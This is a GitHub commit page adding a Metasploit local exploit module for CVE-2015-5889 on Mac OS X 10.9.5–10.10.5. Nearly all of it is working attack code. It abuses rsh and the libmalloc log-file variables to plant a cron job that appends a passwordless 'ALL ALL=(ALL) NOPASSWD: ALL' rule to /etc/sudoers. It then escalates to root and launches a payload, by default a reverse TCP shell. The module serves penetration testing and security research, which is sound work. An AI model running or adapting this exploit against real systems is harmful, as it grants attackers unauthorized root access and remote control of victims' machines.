Skip to content

Commit f4abc16

Browse files
committed
Land rapid7#6102, Add rsh/libmalloc privilege escalation exploit module
2 parents 69de8b9 + 5fcc70b commit f4abc16

File tree

1 file changed

+215
-0
lines changed

1 file changed

+215
-0
lines changed
Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Local
9+
10+
Rank = NormalRanking
11+
12+
include Msf::Post::OSX::System
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
19+
'Description' => %q{
20+
This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
21+
Makes sudo require no password, giving access to su even if root is disabled.
22+
Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
23+
},
24+
'Author' => [
25+
'rebel', # Vulnerability discovery and PoC
26+
'shandelman116' # Copy/paste AND translator monkey
27+
],
28+
'References' => [
29+
['EDB', '38371'],
30+
['CVE', '2015-5889']
31+
],
32+
'DisclosureDate' => 'Oct 1 2015',
33+
'License' => MSF_LICENSE,
34+
# Want to ensure that this can be used on Python Meterpreter sessions as well
35+
'Platform' => ['osx', 'python'],
36+
'Arch' => [ARCH_X86_64, ARCH_PYTHON],
37+
'SessionTypes' => ['shell', 'meterpreter'],
38+
'Privileged' => true,
39+
'Targets' => [
40+
['Mac OS X 10.9.5-10.10.5', {}]
41+
],
42+
'DefaultTarget' => 0,
43+
'DefaultOptions' => {
44+
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
45+
}
46+
))
47+
48+
register_options(
49+
[
50+
OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
51+
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
52+
], self.class
53+
)
54+
end
55+
56+
def exploit
57+
# Check OS
58+
os_check
59+
60+
# Check if crontab file existed already so it can be restored at cleanup
61+
if file_exist? "/etc/crontab"
62+
@crontab_original = read_file("/etc/crontab")
63+
else
64+
@crontab_original = nil
65+
end
66+
67+
# Writing payload
68+
if payload.arch.include? ARCH_X86_64
69+
vprint_status("Writing payload to #{payload_file}.")
70+
write_file(payload_file, payload_source)
71+
vprint_status("Finished writing payload file.")
72+
register_file_for_cleanup(payload_file)
73+
elsif payload.arch.include? ARCH_PYTHON
74+
vprint_status("No need to write payload. Will simply execute after exploit")
75+
vprint_status("Payload encodeded is #{payload.encoded}")
76+
end
77+
78+
# Run exploit
79+
sploit
80+
81+
# Execute payload
82+
print_status('Executing payload...')
83+
if payload.arch.include? ARCH_X86_64
84+
cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
85+
elsif payload.arch.include? ARCH_PYTHON
86+
cmd_exec("python -c \"#{payload.encoded}\" & disown")
87+
end
88+
vprint_status("Finished executing payload.")
89+
end
90+
91+
def os_check
92+
# Get sysinfo
93+
sysinfo = get_sysinfo
94+
# Make sure its OS X (Darwin)
95+
unless sysinfo["Kernel"].include? "Darwin"
96+
print_warning("The target system does not appear to be running OS X!")
97+
print_warning("Kernel information: #{sysinfo['Kernel']}")
98+
return
99+
end
100+
# Make sure its not greater than 10.5 or less than 9.5
101+
version = sysinfo["ProductVersion"]
102+
minor_version = version[3...version.length].to_f
103+
unless minor_version >= 9.5 && minor_version <= 10.5
104+
print_warning("The target version of OS X does not appear to be compatible with the exploit!")
105+
print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
106+
end
107+
end
108+
109+
def sploit
110+
user = cmd_exec("whoami").chomp
111+
vprint_status("The current effective user is #{user}. Starting the sploit")
112+
# Get size of sudoers file
113+
sudoer_path = "/etc/sudoers"
114+
size = get_stat_size(sudoer_path)
115+
116+
# Set up the environment and command for spawning rsh and writing to crontab file
117+
rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
118+
rb_cmd = "ruby -e '#{rb_script}'"
119+
120+
# Attempt to execute
121+
print_status("Attempting to write /etc/crontab...")
122+
cmd_exec(rb_cmd)
123+
vprint_status("Now to check whether the script worked...")
124+
125+
# Check whether it worked
126+
crontab = cmd_exec("cat /etc/crontab")
127+
vprint_status("Reading crontab yielded the following response: #{crontab}")
128+
unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
129+
vprint_error("Bad news... it did not write to the file.")
130+
fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
131+
end
132+
133+
print_good("Succesfully wrote to crontab file!")
134+
135+
# Wait for sudoers to change
136+
new_size = get_stat_size(sudoer_path)
137+
print_status("Waiting for sudoers file to change...")
138+
139+
# Start timeout block
140+
begin
141+
Timeout.timeout(datastore['WaitTime']) {
142+
while new_size <= size
143+
Rex.sleep(1)
144+
new_size = get_stat_size(sudoer_path)
145+
end
146+
}
147+
rescue Timeout::Error
148+
fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
149+
end
150+
print_good("Sudoers file has changed!")
151+
152+
# Confirming root access
153+
print_status("Attempting to start root shell...")
154+
cmd_exec("sudo -s su")
155+
user = cmd_exec("whoami")
156+
unless user.include? "root"
157+
fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
158+
end
159+
print_good("Success! Acquired root access!")
160+
end
161+
162+
def get_stat_size(file_path)
163+
cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"
164+
response = cmd_exec(cmd)
165+
vprint_status("Response to stat size query is #{response}")
166+
begin
167+
size = Integer(response)
168+
return size
169+
rescue ArgumentError
170+
fail_with(Failure::UnexpectedReply, "Could not get stat size!")
171+
end
172+
end
173+
174+
def payload_source
175+
if payload.arch.include? ARCH_X86_64
176+
return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
177+
elsif payload.arch.include? ARCH_PYTHON
178+
return payload.encoded
179+
end
180+
end
181+
182+
def payload_file
183+
@payload_file ||=
184+
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
185+
end
186+
187+
def cleanup
188+
vprint_status("Starting the cron restore process...")
189+
super
190+
# Restore crontab back to is original state
191+
# If we don't do this, then cron will continue to append the no password rule to sudoers.
192+
if @crontab_original.nil?
193+
# Erase crontab file and kill cron process since it did not exist before
194+
vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
195+
rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
196+
if rm_ret.chomp.to_i == 0
197+
vprint_good("Successfully removed crontab file!")
198+
else
199+
print_warning("Could not remove crontab file.")
200+
end
201+
Rex.sleep(1)
202+
kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
203+
if kill_ret.chomp.to_i == 0
204+
vprint_good("Succesfully killed cron!")
205+
else
206+
print_warning("Could not kill cron process.")
207+
end
208+
else
209+
# Write back the original content of crontab
210+
vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
211+
cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
212+
end
213+
vprint_status("Finished the cleanup process.")
214+
end
215+
end

0 commit comments

Comments
 (0)